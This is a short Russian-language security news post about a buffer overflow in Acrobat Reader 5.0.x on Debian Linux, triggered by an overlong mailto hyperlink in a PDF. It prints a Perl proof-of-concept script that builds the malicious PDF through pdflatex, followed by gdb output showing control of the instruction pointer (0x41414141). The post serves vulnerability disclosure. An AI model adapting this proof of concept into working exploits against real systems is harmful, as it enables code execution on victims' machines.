Недавно была обнаружена возможность использования переполнения буфера в Acroread для исполнения произвольного кода. Переполнение достигается
передачей длинного параметра гиперссылки в документе. Полнофункциональный эксплоит был направлен в CERT и не пропущен для securityfocus. К нам попал только скрипт, позволяющий проверить наличие уязвимости на Debian Linux: 

#!/usr/bin/perl —
#
# Demo for acroread 5.0.7 on Debian Linux
#
print ‘
Writing TeX file …
‘;
# For acroread 5.0.5 use 248 Bs instead of 504
open P, ‘>attack.tex’;
print P ‘
\documentclass[11pt]{letter}
\usepackage{times}
\usepackage[pdfpagemode=none,pdfstartview=FitH]{hyperref}
\begin{document}
\href{mailto:X’,(«B»x504).(«A»x4),’}
{\texttt{mailto:X(«B»x504).(«A»x4)}}
\end{document}
‘;
close P;
#
print ‘
Running pdflatex …
‘;
system ‘pdflatex attack’;
#
#!#
 

Acroread может и не помереть, но gdb покажет:

(gdb) run attack.pdf
Starting program: /Acroread507/Reader/intellinux/bin/acroread attack.pdf
Program received signal SIGSEGV, Segmentation fault.
(gdb) where
#0 0x40f50513 in mdNetscapeFront ()
from /Acroread507/Reader/intellinux/plug_ins/wwwlink.api
Cannot access memory at address 0x41414141



Оставить мнение